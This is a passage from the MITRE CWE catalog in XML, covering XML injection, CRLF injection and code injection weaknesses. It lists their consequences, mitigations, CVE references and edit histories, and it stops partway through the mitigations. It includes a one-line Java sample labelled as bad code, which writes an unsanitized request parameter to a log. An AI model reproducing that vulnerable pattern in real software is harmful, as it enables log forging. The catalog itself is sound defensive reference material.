					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>727</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A6 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>810</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A1 - Injection-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The description for this entry is generally applicable to XML, but the
						name includes "blind XPath injection" which is more closely associated with
						CWE-643. Therefore this entry might need to be deprecated or converted to a
						general category - although injection into raw XML is not covered by CWE-643
						or CWE-652.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>In vulnerability theory terms, this is a representation-specific case of a
						Data/Directive Boundary Error.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-reported. This is likely found regularly by third party code
						auditors, but there are very few publicly reported examples.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Amit Klein</Reference_Author>
					          <Reference_Title>Blind XPath Injection</Reference_Title>
					          <Reference_Date>2004-05-19</Reference_Date>
					          <Reference_Link>http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 17, "XML Injection", Page 1069.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>XML injection (aka Blind Xpath injection)</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A6</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>XML Injection </Mapped_Node_Name>
					          <Mapped_Node_ID>23</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>83</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Other_Notes,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="92" Name="DEPRECATED: Improper Sanitization of Custom Special Characters" Weakness_Abstraction="Base" Status="Deprecated">
			      <Description>
				        <Description_Summary>This entry has been deprecated. It originally came from PLOVER,
					which sometimes defined "other" and "miscellaneous" categories in order to
					satisfy exhaustiveness requirements for taxonomies. Within the context of CWE,
					the use of a more abstract entry is preferred in mapping situations. CWE-75 is a
					more appropriate mapping.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Relationship_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Causal_Nature,
						Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations,
						Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps,
						Taxonomy_Mappings, Time_of_Introduction, Type,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Custom Special Character
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insufficient Sanitization of
						Custom Special Characters</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-07-27">Improper Sanitization of
						Custom Special Characters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="93" Name="Improper Neutralization of CRLF Sequences ('CRLF Injection')" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses CRLF (carriage return line feeds) as a
					special element, e.g. to separate lines or records, but it does not neutralize
					or incorrectly neutralizes CRLF sequences from inputs.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>117</Relationship_Target_ID>
					          <!--Improper Output Neutralization for Logs-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>713</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A2 - Injection Flaws-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid using CRLF as a special sequence.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Appropriately filter or quote CRLF sequences in user-controlled
							input.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>If user input data that eventually makes it to a log message isn't
						checked for CRLF characters, it may be possible for an attacker to forge
						entries in a log file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>logger.info("User's street address: " +
								request.getParameter("streetAddress"));</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1771</Observed_Example_Reference>
					          <Observed_Example_Description>CRLF injection enables spam proxy (add mail
						headers) using email address or name.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1783</Observed_Example_Reference>
					          <Observed_Example_Description>CRLF injection in API function arguments modify
						headers for outgoing requests.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1513</Observed_Example_Reference>
					          <Observed_Example_Description>Spoofed entries in web server log file via
						carriage returns</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4624</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: inject fake log entries with fake
						timestamps using CRLF injection</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1951</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Application accepts CRLF in an object ID,
						allowing HTTP response splitting.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1687</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: HTTP response splitting via CRLF in
						parameter related to URL.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Probably under-studied, although gaining more prominence in 2005 as a
						result of interest in HTTP response splitting.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference>
					          <Reference_Author>Ulf Harnhammar</Reference_Author>
					          <Reference_Title>CRLF Injection</Reference_Title>
					          <Reference_Publication>Bugtraq</Reference_Publication>
					          <Reference_Date>2002-05-07</Reference_Date>
					          <Reference_Link>http://marc.info/?l=bugtraq&amp;m=102088154213630&amp;w=2</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>CRLF Injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Injection Flaws</Mapped_Node_Name>
					          <Mapped_Node_ID>A2</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>HTTP Request Splitting </Mapped_Node_Name>
					          <Mapped_Node_ID>24</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>81</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Likelihood_of_Exploit</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">CRLF
						Injection</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Sanitize CRLF
						Sequences (aka 'CRLF Injection')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Failure to Sanitize CRLF
						Sequences ('CRLF Injection')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="94" Name="Improper Control of Generation of Code ('Code Injection')" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software constructs all or part of a code segment using
					externally-influenced input from an upstream component, but it does not
					neutralize or incorrectly neutralizes special elements that could modify the
					syntax or behavior of the intended code segment.</Description_Summary>
				        <Extended_Description>
					          <Text>When software allows a user's input to contain code syntax, it might be
						possible for an attacker to craft the code in such a way that it will alter
						the intended control flow of the software. Such an alteration could lead to
						arbitrary code execution.</Text>
					          <Text>Injection problems encompass a wide variety of issues -- all mitigated in
						very different ways. For this reason, the most effective way to discuss
						these weaknesses is to note the distinct features which classify them as
						injection weaknesses. The most important issue to note is that all injection
						problems share one thing in common -- i.e., they allow for the injection of
						control plane data into the user-controlled data plane. This means that the
						execution of the process may be altered by sending code in through
						legitimate data channels, using no other mechanism. While buffer overflows,
						and many other flaws, involve the use of some further issue to gain
						execution, injection problems need only for the data to be parsed. The most
						classic instantiations of this category of weakness are SQL injection and
						format string vulnerabilities.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>752</Relationship_Target_ID>
					          <!--2009 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Prevalence="Sometimes" Language_Class_Description="Interpreted languages"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In some cases, injectable code controls authentication; this may lead
							to a remote vulnerability.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Injected code can access resources that the attacker is directly
							prevented from accessing.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Code injection attacks can lead to loss of data integrity in nearly
							all cases as the control-plane data injected is always incidental to
							data recall or writing. Additionally, code injection can often result in
							the execution of arbitrary code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Often the actions performed by injected control code are
							unlogged.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Refactor your program so that you do not have to dynamically generate
							code.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Run your code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which code can be executed by your software.</Text>
						            <Text>Examples include the Unix chroot jail and AppArmor. In general,
							managed code may provide some protection.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of your application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>To reduce the likelihood of code injection, use stringent whitelists
							that limit which constructs are allowed. If you are dynamically
							constructing code that invokes a function, then verifying that the input
							is alphanumeric might be insufficient. An attacker might still be able
							to reference a dangerous function that you did not intend to allow, such
							as system(), exec(), or exit().</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
